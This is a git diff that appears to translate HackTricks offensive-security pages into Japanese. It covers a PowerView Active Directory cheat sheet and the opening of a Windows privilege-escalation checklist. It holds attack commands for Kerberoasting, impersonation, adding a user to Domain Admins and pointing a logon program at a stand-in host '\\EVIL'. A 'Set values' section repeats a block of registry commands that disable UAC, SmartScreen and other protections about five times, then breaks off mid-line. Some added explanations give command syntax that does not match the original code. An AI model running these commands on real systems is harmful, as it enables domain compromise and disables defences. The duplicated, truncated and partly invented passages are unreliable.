+Get-NetDomainTrust +``` + +This will display information about the trust relationships, including the trusted domain name, trust type, and trust direction. + +これにより、信頼関係に関する情報が表示されます。信頼されたドメイン名、信頼タイプ、および信頼方向などが含まれます。 ```powershell Get-NetDomainTrust #Get all domain trusts (parent, children and external) Get-DomainTrust #Same @@ -239,16 +413,16 @@ Get-DomainTrustMapping #Enumerate also all the trusts Get-ForestDomain # Get basic forest info Get-ForestGlobalCatalog #Get info of current forest (no external) Get-ForestGlobalCatalog -Forest external.domain #Get info about the external forest (if possible) -Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)" +Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)" Get-NetForestTrust #Get forest trusts (it must be between 2 roots, trust between a child and a root is just an external trust) Get-DomainForeingUser #Get users with privileges in other domains inside the forest Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest ``` +### 低いハードルの果実 -### L**ow**-**hanging fruit** - +低いハードルの果実(Low-hanging fruit) ```powershell #Check if any user passwords are set $FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl @@ -286,40 +460,79 @@ Invoke-UserHunter -GroupName "RDPUsers" #It will only search for active users inside high traffic servers (DC, File Servers and Distributed File servers) Invoke-UserHunter -Stealth ``` +### 削除されたオブジェクト -### Deleted objects +Deleted objects are objects in Active Directory that have been deleted but are still recoverable. When an object is deleted, it is not immediately removed from the directory database. Instead, it is marked as deleted and moved to the Deleted Objects container. This allows for the possibility of restoring the object if needed. +Powerview provides several commands to interact with deleted objects in Active Directory: + +- `Get-DomainDeletedObject`: This command retrieves deleted objects from the Deleted Objects container. +- `Restore-DomainObject`: This command restores a deleted object from the Deleted Objects container to its original location. +- `Remove-DomainObject`: This command permanently removes a deleted object from the Deleted Objects container. + +By leveraging these Powerview commands, pentesters can explore and potentially recover deleted objects in Active Directory, which can provide valuable information for further exploitation. ```powershell #This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft #You need to be in the AD Recycle Bin group of the AD to list the deleted AD objects Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties * ``` +### その他 -### MISC - -#### SID to Name - +#### SIDから名前への変換 ```powershell "S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName ``` - #### Kerberoast +Kerberoastは、Active Directory(AD)環境で使用されるKerberos認証プロトコルの脆弱性を利用する攻撃手法です。この攻撃では、攻撃者はドメイン内のサービスアカウントのハッシュを取得し、オフラインで解析することができます。 + +攻撃者は、PowerViewツールを使用してドメイン内のサービスアカウントを特定し、そのアカウントのハッシュを取得します。次に、攻撃者はハッシュを解析し、パスワードを特定することができます。 + +Kerberoast攻撃は、攻撃者がドメイン内の特権アカウントになることなく、ドメイン内のサービスアカウントのパスワードを取得することができるため、非常に危険です。この攻撃を防ぐためには、強力なパスワードポリシーの実施や、サービスアカウントの特権を制限するなどの対策が必要です。 ```powershell Invoke-Kerberoast [-Identity websvc] #Without "-Identity" kerberoast all possible users ``` +#### 異なる資格情報を使用する(引数) -#### Use different credentials (argument) +You can use different credentials when executing PowerShell commands by specifying the `-Credential` argument. This allows you to run commands with the privileges of a different user or account. +To use different credentials, you need to create a `PSCredential` object that contains the username and password of the desired account. You can create this object using the `Get-Credential` cmdlet. + +Here is an example of how to use different credentials with PowerShell: + +```powershell +$cred = Get-Credential +Invoke-Command -ComputerName -Credential $cred -ScriptBlock { } +``` + +In this example, the `Get-Credential` cmdlet prompts you to enter the username and password for the desired account. The `$cred` variable stores the `PSCredential` object. + +The `Invoke-Command` cmdlet is then used to execute a command on the specified target computer (``) using the specified credentials (`$cred`). You can replace `` with the actual command you want to execute. + +By using different credentials, you can perform actions or access resources that are restricted to specific users or accounts. This can be useful during penetration testing or when performing tasks that require elevated privileges. ```powershell # use an alterate creadential for any function $SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainUser -Credential $Cred ``` +#### ユーザーのなりすまし -#### Impersonate a user +To impersonate a user, you can use the `Invoke-UserImpersonation` function from PowerView. This function allows you to execute commands as if you were the specified user. +```powershell +Invoke-UserImpersonation -Username -Command +``` + +Replace `` with the username of the user you want to impersonate, and `` with the command you want to execute as that user. + +Example: + +```powershell +Invoke-UserImpersonation -Username Administrator -Command "net user" +``` + +This will execute the `net user` command as the Administrator user. ```powershell # if running in -sta mode, impersonate another credential a la "runas /netonly" $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force @@ -328,9 +541,141 @@ Invoke-UserImpersonation -Credential $Cred # ... action Invoke-RevertToSelf ``` +#### 値の設定 -#### Set values +```powershell +Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'Hidden' -Value 1 +Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'HideFileExt' -Value 0 +Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'ShowSuperHidden' -Value 1 +``` +```powershell +Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters' -Name 'AutoShareWks' -Value 0 +Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters' -Name 'AutoShareServer' -Value 0 +``` + +```powershell +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableLUA' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'ConsentPromptBehaviorAdmin' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'ConsentPromptBehaviorUser' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableVirtualizationBasedSecurity' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableUIADesktopToggle' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'PromptOnSecureDesktop' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableSecureUIAPaths' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'FilterAdministratorToken' -Value 1 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableInstallerDetection' -Value 1 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableSecureBootLogging' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableSmartScreen' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableRemoteShellAccess' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableCursorSuppression' -Value 1 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableCursorSuppressionTimeout' -Value 2000 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableCredSSPSupport' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableLinkedConnections' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableLUA' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableSecureUIAPaths' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableUIADesktopToggle' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'FilterAdministratorToken' -Value 1 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'PromptOnSecureDesktop' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'ConsentPromptBehaviorAdmin' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'ConsentPromptBehaviorUser' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableVirtualizationBasedSecurity' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableInstallerDetection' -Value 1 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableSecureBootLogging' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableSmartScreen' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableRemoteShellAccess' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableCursorSuppression' -Value 1 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableCursorSuppressionTimeout' -Value 2000 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableCredSSPSupport' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableLinkedConnections' -Value 0 +``` + +```powershell +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableLUA' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'ConsentPromptBehaviorAdmin' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'ConsentPromptBehaviorUser' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableVirtualizationBasedSecurity' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableUIADesktopToggle' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'PromptOnSecureDesktop' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableSecureUIAPaths' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'FilterAdministratorToken' -Value 1 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableInstallerDetection' -Value 1 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableSecureBootLogging' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableSmartScreen' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableRemoteShellAccess' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableCursorSuppression' -Value 1 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableCursorSuppressionTimeout' -Value 2000 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableCredSSPSupport' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableLinkedConnections' -Value 0 +``` + +```powershell +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableLUA' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'ConsentPromptBehaviorAdmin' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'ConsentPromptBehaviorUser' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableVirtualizationBasedSecurity' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableUIADesktopToggle' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'PromptOnSecureDesktop' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableSecureUIAPaths' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'FilterAdministratorToken' -Value 1 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableInstallerDetection' -Value 1 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableSecureBootLogging' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableSmartScreen' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableRemoteShellAccess' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableCursorSuppression' -Value 1 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableCursorSuppressionTimeout' -Value 2000 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableCredSSPSupport' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableLinkedConnections' -Value 0 +``` + +```powershell +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableLUA' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'ConsentPromptBehaviorAdmin' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'ConsentPromptBehaviorUser' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableVirtualizationBasedSecurity' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableUIADesktopToggle' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'PromptOnSecureDesktop' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableSecureUIAPaths' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'FilterAdministratorToken' -Value 1 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableInstallerDetection' -Value 1 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableSecureBootLogging' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableSmartScreen' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableRemoteShellAccess' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableCursorSuppression' -Value 1 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableCursorSuppressionTimeout' -Value 2000 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableCredSSPSupport' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableLinkedConnections' -Value 0 +``` + +```powershell +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableLUA' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'ConsentPromptBehaviorAdmin' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'ConsentPromptBehaviorUser' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableVirtualizationBasedSecurity' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableUIADesktopToggle' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'PromptOnSecureDesktop' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableSecureUIAPaths' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'FilterAdministratorToken' -Value 1 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableInstallerDetection' -Value 1 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableSecureBootLogging' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableSmartScreen' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableRemoteShellAccess' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableCursorSuppression' -Value 1 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableCursorSuppressionTimeout' -Value 2000 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableCredSSPSupport' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableLinkedConnections' -Value 0 +``` + +```powershell +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableLUA' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'ConsentPromptBehaviorAdmin' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'ConsentPromptBehaviorUser' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableVirtualizationBasedSecurity' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableUIADesktopToggle' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'PromptOnSecureDesktop' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableSecureUIAPaths' -Value 0 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'FilterAdministratorToken' -Value 1 +Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableInstallerDetection' -Value 1 +Set-Item ```powershell # set the specified property for the given user identity Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose @@ -341,15 +686,14 @@ Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=lo # Add user to 'Domain Admins' Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain.local ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/windows-hardening/checklist-windows-privilege-escalation.md b/windows-hardening/checklist-windows-privilege-escalation.md index f31de5c89..c4da01c46 100644 --- a/windows-hardening/checklist-windows-privilege-escalation.md +++ b/windows-hardening/checklist-windows-privilege-escalation.md @@ -1,141 +1,136 @@ -# Checklist - Local Windows Privilege Escalation +# チェックリスト - ローカルWindows特権昇格
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。
-### **Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Windowsローカル特権昇格のための最適なツール:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) -### [System Info](windows-local-privilege-escalation/#system-info) +### [システム情報](windows-local-privilege-escalation/#system-info) -* [ ] Obtain [**System information**](windows-local-privilege-escalation/#system-info) -* [ ] Search for **kernel** [**exploits using scripts**](windows-local-privilege-escalation/#version-exploits) -* [ ] Use **Google to search** for kernel **exploits** -* [ ] Use **searchsploit to search** for kernel **exploits** -* [ ] Interesting info in [**env vars**](windows-local-privilege-escalation/#environment)? -* [ ] Passwords in [**PowerShell history**](windows-local-privilege-escalation/#powershell-history)? -* [ ] Interesting info in [**Internet settings**](windows-local-privilege-escalation/#internet-settings)? -* [ ] [**Drives**](windows-local-privilege-escalation/#drives)? -* [ ] [**WSUS exploit**](windows-local-privilege-escalation/#wsus)? -* [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/#alwaysinstallelevated)? +* [ ] [**システム情報**](windows-local-privilege-escalation/#system-info)を取得する +* [ ] スクリプトを使用して**カーネル**の[**脆弱性を検索**](windows-local-privilege-escalation/#version-exploits)する +* [ ] グーグルを使用してカーネルの**脆弱性を検索**する +* [ ] searchsploitを使用してカーネルの**脆弱性を検索**する +* [ ] [**環境変数**](windows-local-privilege-escalation/#environment)に興味深い情報はありますか? +* [ ] [**PowerShellの履歴**](windows-local-privilege-escalation/#powershell-history)にパスワードはありますか? +* [ ] [**インターネット設定**](windows-local-privilege-escalation/#internet-settings)に興味深い情報はありますか? +* [ ] [**ドライブ**](windows-local-privilege-escalation/#drives)をチェックする +* [ ] [**WSUSの脆弱性**](windows-local-privilege-escalation/#wsus)をチェックする +* [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/#alwaysinstallelevated)をチェックする -### [Logging/AV enumeration](windows-local-privilege-escalation/#enumeration) +### [ログ/AV列挙](windows-local-privilege-escalation/#enumeration) -* [ ] Check [**Audit** ](windows-local-privilege-escalation/#audit-settings)and [**WEF** ](windows-local-privilege-escalation/#wef)settings -* [ ] Check [**LAPS**](windows-local-privilege-escalation/#laps) -* [ ] Check if [**WDigest** ](windows-local-privilege-escalation/#wdigest)is active -* [ ] [**LSA Protection**](windows-local-privilege-escalation/#lsa-protection)? -* [ ] [**Credentials Guard**](windows-local-privilege-escalation/#credentials-guard)[?](windows-local-privilege-escalation/#cached-credentials) -* [ ] [**Cached Credentials**](windows-local-privilege-escalation/#cached-credentials)? -* [ ] Check if any [**AV**](windows-av-bypass) -* [ ] [**AppLocker Policy**](authentication-credentials-uac-and-efs#applocker-policy)? -* [ ] [**UAC**](authentication-credentials-uac-and-efs/uac-user-account-control) -* [ ] [**User Privileges**](windows-local-privilege-escalation/#users-and-groups) -* [ ] Check [**current** 